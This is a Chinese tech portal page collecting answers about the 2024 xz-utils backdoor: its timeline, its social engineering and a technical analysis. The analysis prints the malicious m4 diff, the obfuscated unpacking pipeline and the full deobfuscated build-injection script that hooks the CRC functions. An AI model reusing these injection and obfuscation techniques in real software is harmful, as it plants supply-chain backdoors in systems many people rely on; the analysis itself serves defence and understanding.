天天财汇 购物 网址 万年历 小说 | 三峰软件 小游戏 视频
TxT小说阅读器
↓小说语音阅读,小说下载↓
一键清除系统垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放,产品展示↓
首页 淘股吧 股票涨跌实时统计 涨停板选股 股票入门 股票书籍 股票问答 分时图选股 跌停板选股 K线图选股 成交量选股 [平安银行]
股市论谈 均线选股 趋势线选股 筹码理论 波浪理论 缠论 MACD指标 KDJ指标 BOLL指标 RSI指标 炒股基础知识 炒股故事
商业财经 科技知识 汽车百科 工程技术 自然科学 家居生活 设计艺术 财经视频 游戏--
  天天财汇 -> 科技知识 -> 知名压缩软件 xz 被发现有后门,影响有多大?如何应对? -> 正文阅读

[科技知识]知名压缩软件 xz 被发现有后门,影响有多大?如何应对?

[收藏本文] 【下载本文】
xz-utils 的 5.6.0 和 5.6.1 版本被维护者 Jia Tan 注入了后门。在 2024 年 3 月 29 日,后门被发现并迅速引起了…
这个后门的引入方式实在是太隐秘了, 如果不是发现者Andres Freund发现sshd进程的CPU占用率异常也不会发现这个后门.
拿这个有后门的m4脚本和原版对比一下, 能看出有什么问题吗? 我觉得基本上没人觉得有问题.

--- xz-5.6.1/m4/build-to-host.m4	2024-03-09 16:16:40.000000000 +0800
+++ /usr/share/aclocal/build-to-host.m4	2024-03-24 00:05:36.082517994 +0800
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 30
+# build-to-host.m4 serial 3
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,7 +37,6 @@

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
-  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -59,40 +58,14 @@
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
-  if test "x$gl_am_configmake" != "x"; then
-    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
-  else
-    gl_[$1]_config=''
-  fi
-  _LT_TAGDECL([], [gl_path_map], [2])dnl
-  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
-  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
-  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
-  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
-
-  dnl If the host conversion code has been placed in $gl_config_gt,
-  dnl instead of duplicating it all over again into config.status,
-  dnl then we will have config.status run $gl_config_gt later, so it
-  dnl needs to know what name is stored there:
-  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
-  dnl Search for Automake-defined pkg* macros, in the order
-  dnl listed in the Automake 1.10a+ documentation.
-  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
-  if test -n "$gl_am_configmake"; then
-    HAVE_PKG_CONFIGMAKE=1
-  else
-    HAVE_PKG_CONFIGMAKE=0
-  fi
-
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
-  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

但是, 注意到grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./在源码根目录的执行结果就是./tests/files/bad-3-corrupt_lzma2.xz
grep的命令行参数
-a: 将二进制文件当作文本处理-E: 扩充的正则表达式语法-r: 递归的搜索子目录-l: 输出匹配的文件名, 而不是匹配到的内容-s: 不输出无法读取或者不存在的文件
正则表达式的内容:
#{4}:匹配连续出现4个#符号。[[:alnum:]]{5}:匹配连续出现5个字母或数字字符。[[:alnum:]] 是一个字符类,匹配任意字母或数字字符。#{4}:再次匹配连续出现4个#符号。$:表示匹配字符串的末尾。


文件中的####World#### 就是被匹配到的内容.
可见包括后门的恶意文件的文件名并非明文出现在构建脚本中, 而是使用grep倒了一手.
然后gl_[$1]_prefix=echo $gl_am_configmake | sed "s/.*\.//g" 得到恶意文件的扩展名xz, 但实际上是xz这个命令行工具的名称. 看来这个后门的解压还必须先安装了xz-utils包才行.
整个解压的命令是

sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d  2> /dev/null

sed "r\n" filename和直接cat没什么区别tr这个命令对压缩内容的一些ascii编码部分进行替换\t代表制表符(Tab)\ 代表空格\-代表破折号(减号)_代表下划线也就是将制表符、空格、破折号和下划线之间的字符进行相互替换。将制表符替换为一个空格,将空格替换为一个制表符,将破折号替换为下划线,将下划线替换为破折号。xz -d对输入进行解压
解压结果为:

####Hello####
#?U??$?
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

看上去非Linux系统不会执行感染操作.
这个脚本通过寻找和读取config.status的方式拿到源码的根目录. 因为很多发行版编译程序会单独建立build目录, 不会在源码目录运行configure和make. 源码的地址存到srcdir变量下面.
然后export的i指令是一大长串用head来乱序的从文件读取内容.
然后就是运行如下命令, 这里我删去最后的送给/bin/sh执行的部分.

xz -dc ./tests/files/good-large_compressed.lzma| \
eval $i| \
tail -c +31233| \
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377" | \
xz -F raw --lzma1 -dc

输出的内容为(经过了格式化)

P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
    eval $zrKcSS
    eval $(grep ^LD=\'\/ config.status)
    eval $(grep ^CC=\' config.status)
    eval $(grep ^GCC=\' config.status)
    eval $(grep ^srcdir=\' config.status)
    eval $(grep ^build=\'x86_64 config.status)
    eval $(grep ^enable_shared=\'yes\' config.status)
    eval $(grep ^enable_static=\' config.status)
    eval $(grep ^gl_path_map=\' config.status)
    vs=$(grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null)
    if test "x$vs" != "x" >/dev/null 2>&1; then
        f1=$(echo $vs | cut -d: -f1)
        if test "x$f1" != "x" >/dev/null 2>&1; then
            start=$(expr $(echo $vs | cut -d: -f2) + 7)
            ve=$(grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null)
            if test "x$ve" != "x" >/dev/null 2>&1; then
                f2=$(echo $ve | cut -d: -f1)
                if test "x$f2" != "x" >/dev/null 2>&1; then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=$(expr $(echo $ve | cut -d: -f2) - $start)
                    eval $(cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc)
                fi
            fi
        fi
    fi
    eval $zrKccj
    if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$enable_shared" != "xyes"; then
        exit 0
    fi
    if ! (echo "$build" | grep -Eq "^x86_64" >/dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" >/dev/null 2>&1); then
        exit 0
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$GCC" != 'xyes' >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$CC" != 'xgcc' >/dev/null 2>&1; then
        exit 0
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' >/dev/null 2>&1; then
        exit 0
    fi
    if ! test -f "$srcdir/tests/files/$p" >/dev/null 2>&1; then
        exit 0
    fi
    if ! test -f "$srcdir/tests/files/$U" >/dev/null 2>&1; then
        exit 0
    fi
    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then
        eval $zrKcst
        j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
        if ! grep -qs "$j" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        z="^am__uninstall_files_from_dir = {"
        if ! grep -qs "$z" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        w="^am__install_max ="
        if ! grep -qs "$w" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        E=$z
        if ! grep -qs "$E" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        Q="^am__vpath_adj_setup ="
        if ! grep -qs "$Q" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        M="^am__include = include"
        if ! grep -qs "$M" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        L="^all: all-recursive$"
        if ! grep -qs "$L" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
        if ! grep -qs "$m" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
        if ! grep -qs "$u" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        if ! grep -qs "$O" libtool >/dev/null 2>&1; then
            exit 0
        fi
        eval $zrKcTy
        b="am__test = $U"
        sed -i "/$j/i$b" src/liblzma/Makefile || true
        d=$(echo $gl_path_map | sed 's/\\/\\\\/g')
        b="am__strip_prefix = $d"
        sed -i "/$w/i$b" src/liblzma/Makefile || true
        b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
        sed -i "/$E/i$b" src/liblzma/Makefile || true
        b="\$(top_srcdir)/tests/files/\$(am__test)"
        s="am__test_dir=$b"
        sed -i "/$Q/i$s" src/liblzma/Makefile || true
        h="-Wl,--sort-section=name,-X"
        if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" >/dev/null 2>&1; then
            h=$h",-z,now"
        fi
        j="liblzma_la_LDFLAGS += $h"
        sed -i "/$L/i$j" src/liblzma/Makefile || true
        sed -i "s/$O/$C/g" libtool || true
        k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
        sed -i "s/$u/$k/" src/liblzma/Makefile || true
        l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
    export top_srcdir='\$(top_srcdir)'; \\\\\n\
    export CC='\$(CC)'; \\\\\n\
    export DEFS='\$(DEFS)'; \\\\\n\
    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
    export INCLUDES='\$(INCLUDES)'; \\\\\n\
    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
    export CFLAGS='\$(CFLAGS)'; \\\\\n\
    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
    export libdir='\$(libdir)'; \\\\\n\
    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1"
        sed -i "/$m/i$l" src/liblzma/Makefile || true
        eval $zrKcHD
    fi
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
    vs=$(grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null)
    if test "x$vs" != "x" >/dev/null 2>&1; then
        f1=$(echo $vs | cut -d: -f1)
        if test "x$f1" != "x" >/dev/null 2>&1; then
            start=$(expr $(echo $vs | cut -d: -f2) + 7)
            ve=$(grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null)
            if test "x$ve" != "x" >/dev/null 2>&1; then
                f2=$(echo $ve | cut -d: -f1)
                if test "x$f2" != "x" >/dev/null 2>&1; then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=$(expr $(echo $ve | cut -d: -f2) - $start)
                    eval $(cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc)
                fi
            fi
        fi
    fi
    eval $zrKcKQ
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$C" ../../libtool; then
        exit 0
    fi
    if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" >/dev/null 2>&1; then
        exit 0
    fi
    if echo $liblzma_la_LINK | grep -qs -e "lazy" >/dev/null 2>&1; then
        exit 0
    fi
    N=0
    W=0
    Y=$(grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4)
    eval $zrKcjv
    if test -z "$Y"; then
        N=0
        W=88664
    else
        N=88664
        W=0
    fi
    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
    if ! test -f liblzma_la-crc64-fast.o; then
        exit 0
    fi
    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
    V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
    eval $yosA
    if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c |
        sed "/include \"crc_x86_clmul.h\"/a \\$V" |
        sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null |
        $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
        cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
        eval $BPep
        if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c |
            sed "/include \"crc32_arm64.h\"/a \\$V" |
            sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null |
            $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then
            eval $RgYB
            if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
                if test ! -f .libs/liblzma.so; then
                    mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                    mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
                fi
                rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
            else
                mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
            fi
            rm -f .libs/liblzma_la-crc32-fast.o || true
            rm -f .libs/liblzma_la-crc64-fast.o || true
        else
            mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
            mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
        fi
    else
        mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
    fi
    rm -f liblzma_la-crc64-fast.o || true
fi
eval $DHLd

这个复杂的脚本中包括了若干行为
检测到环境不适合时就退出, 不执行加入后门的逻辑. 已知的如下环境不受影响不是Linux系统(uname不为Linux)没有IFUNC. IFUNC是GLIBC中用于覆盖符号的一个功能.不编译动态库(shared object)不是x86_64, 或者target triple结尾不是linux-gnu编译器不是GCC, 或者链接器不是GNU ld从测试文件中解压预编译的二进制文件修改源码和构建脚本
与很多报道不同, 上面格式化后的代码清楚的表明, 即使不是Debian或者RPM系的发行版, 如果试图在make后再次执行configure, 也会执行另一条感染的路径.
Debian或者RPM系的那条代码路径是将上述恶意脚本注入到Makefile中, 因为恶意代码的注入需要等到源码编译完成后才能进行. 注入到Makefile的逻辑相当于重新从tests里的两个样本中解压恶意脚本.
在真正的感染部分, 两个目标文件liblzma_la-crc64_fast.o 和liblzma_la-crc32_fast.o, 原本应该编译自./src/liblzma/check/crc64_fast.c和./src/liblzma/check/crc32_fast.c, 被链接了恶意的object文件
此外指令集扩展检测函数被替换掉

#define BUILDING_CRC64_CLMUL
#include "crc_x86_clmul.h"
#endif
#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) &&                        \
    defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) &&        \
    (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
extern int _get_cpuid(int, void *, void *, void *, void *, void *);
static inline bool _is_arch_extension_supported(void) {
  int success = 1;
  uint32_t r[4];
  success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3],
                       ((char *)__builtin_frame_address(0)) - 16);
  const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
  return success && (r[2] & ecx_mask) == ecx_mask;
}
#else
#define _is_arch_extension_supported is_arch_extension_supported

正确的get_cpuid原型如下

static __inline int __get_cpuid (unsigned int __leaf, unsigned int *__eax,
                                 unsigned int *__ebx, unsigned int *__ecx,
                                 unsigned int *__edx)

也就是故意多输了一个参数. 而__builtin_frame_address可以获得函数的返回地址, 这里应该是试图在寄存器里留一个地址, 在x86_64 linux上, 这个寄存器是r9.
值得注意的是, 发布带有后门的作者Jia Tan在两个月前和Sam James在Gentoo Linux的bugzilla上讨论过GCC的一个bug导致ifunc的函数符号覆盖功能不正确的问题.
https://bugs.gentoo.org/925415?bugs.gentoo.org/925415
最终确定是一个GCC的bug
xz-utils segfaults when built with -fprofile-generate (bad interaction between IFUNC and binding?)?gcc.gnu.org/bugzilla/show_bug.cgi?id=114115
更新: 我看有答主提到提交代码要实名的事情被嘲讽了.


但事实上确实许多非常重要的项目, 有提交权限的人都是强制要求实名的, 最典型的就是Linux.
机翻一下相关的文档:
签署您的作品 - 开发商的原产地证书
为了改进对谁做了什么的跟踪,特别是对于可以通过多层维护人员渗透到内核中最终安放位置的补丁,我们对通过电子邮件发送的补丁引入了“签核”程序。
签名是补丁说明末尾的一行简单内容,它证明您编写了该补丁或有权将其作为开源补丁传递。 规则非常简单:如果您可以证明以下内容:
开发商原产地证书1.1
通过对该项目做出贡献,我证明:
a)该贡献全部或部分由我创建,我有权根据文件中指明的开源许可证提交它; 或者
b)该贡献基于之前的工作,据我所知,该工作受到适当的开源许可证的保护,并且根据该许可证,我有权提交经过修改的工作,无论是全部还是部分由我创建,根据相同的开源许可证(除非c)我被允许在不同的许可证下提交),如文件中所示; 或者
d)该贡献是由证明(a)、(b)或(c)的其他人直接提供给我的,我没有对其进行修改。
我理解并同意该项目和贡献是公开的,并且贡献的记录(包括我随其提交的所有个人信息,包括我的签名)将无限期保留,并且可以根据该项目或开源进行重新分发涉及的许可证。
然后你只需添加一行:

Signed-off-by: Random J Developer <random@developer.example.org>

使用已知身份(抱歉,禁止匿名贡献。)如果您使用 git commit -s提交, 回复会自动包括签字。撤回时使用 git revert -s可以同样包括签字。


签名的案例
实名是非常重要的, 尤其是当代码出现法律问题时. Signed-off就是SCO以Linux侵犯Unix版权起诉IBM时引入git的机制. 而虚拟人物、匿名人物是无法承担法律责任的, 例如Asahi Lina就不能以自己的名义提交agx驱动的代码.
由于git内置了 Signed-off 选项, 因此很多使用git的项目也会使用 Signed-off 来确定提交者和reviewer的真实身份.
在更重要的场合, 提交需要使用GPG签名. 而一些线下举行的会议会举行Key signing party线下交换GPG的公钥以确定真实身份, 参加party人会携带政府颁发的身份证件、证明自己职位的证件和GPG公钥以确保网络上的身份与现实一致, 并得到其他人的承认.
Developer Certificate of Origin?developercertificate.org/
https://github.com/torvalds/linux/blob/v6.8/Documentation/process/submitting-patches.rst#sign-your-work---the-developers-certificate-of-origin?github.com/torvalds/linux/blob/v6.8/Documentation/process/submitting-patches.rst#sign-your-work---the-developers-certificate-of-origin
泻药,我一直很喜欢安全圈的瓜,一般都又大又红又香甜,所以为了让圈外人也能吃上这口瓜,所以我决定用通俗的语言让大家一起来品尝这口瓜的鲜美
在安全圈有一种叫做APT攻击的攻击模式,专业的解释如下:
APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为,是一种蓄谋已久的“恶意商业间谍威胁”。这种行为往往经过长期的经营与策划,并具备高度的隐蔽性。APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,这种发生在数字空间的偷窃资料、搜集情报的行为,就是一种“网络间谍”的行为。
简单来说就是不怕贼上门就怕贼惦记
而我们这次的主角儿,JiaT75 (Jia Tan),完美诠释了这一持久惦记的理念,充分展示了一个蓄谋已久,放长线钓大鱼的攻击理念,而且几乎就差那么一点点,就能撬开保险库的大门,并在金库里为所欲为.
在此之前,我们先来简简单单了解一下xz包,你可以将它理解成一个压缩程序包,如果你不在圈内,你可能会说,我没啥印象啊,诶,我先放一张图上来


如果你不干这行,看不懂也无所谓,但简单来说,上到网上冲浪看网页,下到图片,音乐,小电影都多多少少和它有关,为啥?比如你看养活了80%音视频从业人员的ffmpeg,也得依赖xz的压缩包支持.
但这些,都不是我们主角JiaT75的终极目标:
他还可以通过Hook OpenSSH的RSA_public_decrypt函数,绕过RSA签名验证,这将会导致最著名也是应用最广泛的的远程控制服务sshd,不用输入密钥也可以访问.
打个比方就像在你家的大门旁边直接敲开了一个小门,根本不需要你家的门钥匙,就可以进到你家里去为所欲为.你可能说对我也没啥影响啊,我也不用linux,就算进来了,电脑上最值钱的就是那几个G的种子,爱要就拿去好了,但企业,银行,军事机构,医院,政务系统可不这么想,你想想如果某天你做牛做马当帕鲁好不容易赚的几十个w突然变0了,是不是挺恐怖的.
为了达成这个终极目标,我们来看看JiaT75到底干了啥:
2021年:JiaT75(Jia Tan)创建了GitHub账户,并在libarchive项目中提交了一个看似无害但实际可疑的补丁。这个补丁替换了一个安全的函数变体,可能引入了另一个漏洞。2022年:Jia Tan通过邮件列表提交了一个补丁,随后一个新角色Jigar Kumar出现并开始施压要求合并这个补丁。不久之后,Jigar Kumar开始施压Lasse Collin增加XZ项目的另一位维护者。然后Jigar Kumar便人间消失了。2023年:JiaT75在XZ项目中的地位逐渐提升,成为了第二活跃的贡献者。同年,JiaT75合并了第一个提交,这个时候我们主角已经获得了足够的信任。此外,Google的oss-fuzz项目的主要联系邮箱也被更新为Jia的邮箱。
终于JiaT75在2024年最近几个月的commit中露出了鸡脚


他提交了bad-3-corrupt_lzma2.xz和good-large_compressed.lzma两个看上去人畜无害的测试文件实际上存在恶意代码的文件,然后他精细构造了编译脚本,以在特定的情况下释放恶意代码,改变编译结果,使得使用其编译出的程序存在后门.
直到一个非常非常偶然的情况,一个测试人员察觉到些许不对劲


大意如是一个做测试的老哥因为服务器的风扇很吵,然后去检查发现sshd服务占用了大量的CPU资源(CPU发热多嘛),然后他发现在liblzma(就是xz的部分)占用了大量的CPU,然后他就想去查查到底哪部分代码跑的那么慢,结果调试时发现,这部分居然没有对应符号表。
啥是符号表呢,简单来说源代码到编译成程序时,会将源码和二进制程序做个对应,当程序出问题时,就能方便你查找到对应源码,因为这个恶意后门代码本身就是以二进制程序的方式插入进来的,没有经过这个源码到程序的编译过程,自然就没有符号表咯,那这个插入的部分,到底在隐藏什么?
测试老哥越想越不对劲,于是就有了上面这个邮件,可以说要不是这老哥的敬业水平和技术水平之高如此可见一斑,换其它任何一个草台班子,这个鸡脚都不会漏出来。
除了以上这个巧合,我们主角对这个攻击可谓是非常用心,根据
@Yachen Liu
的爆料内容
1.攻击者抢在ubuntu beta freeze的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。
2. xz-utils项目的原维护者Lasse Collin (L arhzu),有着定期进行internetbreaks的习惯,而且最近正在进行,导致这些变动他并没有review的机会,即使到现在也没能联系上他本人。这可能也是攻击者选定xz-utils项目的原因之一。
可以说这次供应链投毒案,持续时间之久,之巧妙,之隐蔽实在是叹为观止,发现的是非常之巧合了,我甚至怀疑其背后应该是一个团队或组织甚至**的安全或间谍部门策划的。
而受影响的xz-utils包已经被并入Debian testing中进行测试,可以说,jiat45同学距离撬开保险裤仅仅一步之遥。东窗事发不知道该说是运气不好还是运气太好。
有句话叫当你在厨房里看到一只蟑螂时,背后可能已经有了一个蟑螂窝了,就像外卖你吃的很香,但你知道怎么做的之后可能就吃不下去了。
而安全一直以来是一个系统工程,其横跨软件工程,社会工程,甚至意识型太,从来也不是靠换门编程语言,换个系统框架,买买防火墙就能解决的。我们享受了包管理的便利时,也得承担其风险,没有那么多我既要我又要的选项。
以上
事情还在持续发酵中,又发现了xz中存在一个Jia Tan对沙箱的恶意破坏,可以想象目前发现的只不过是冰山一角。
xz的repo虽然在GitHub上被关停了,但是在官网上还是有完整保留的,想吃瓜的可以移步
XZ official Git repository?git.tukaani.org/?p=xz.git;a=summary
可以看到xz的真正维护者Lasse Collin在最新一次提交中删除了CMakeList.txt中可疑的一个.。这段代码的本意是在检测成功后启用Landlock sandbox,但这个.的加入使得代码会直接编译失败,让Landlock永远不会被激活。
而加入这个.的不是别人,正是Jia Tan。 commitdiff中有这么一段:


考考你的眼力,能看见那个点吗
多么隐蔽,多么狡猾啊!如果没有被事先告知代码中存在恶意破坏,谁能发现多出来了一个.?
这篇国外的博文详细描述了此次 xz-utils 投毒事件。
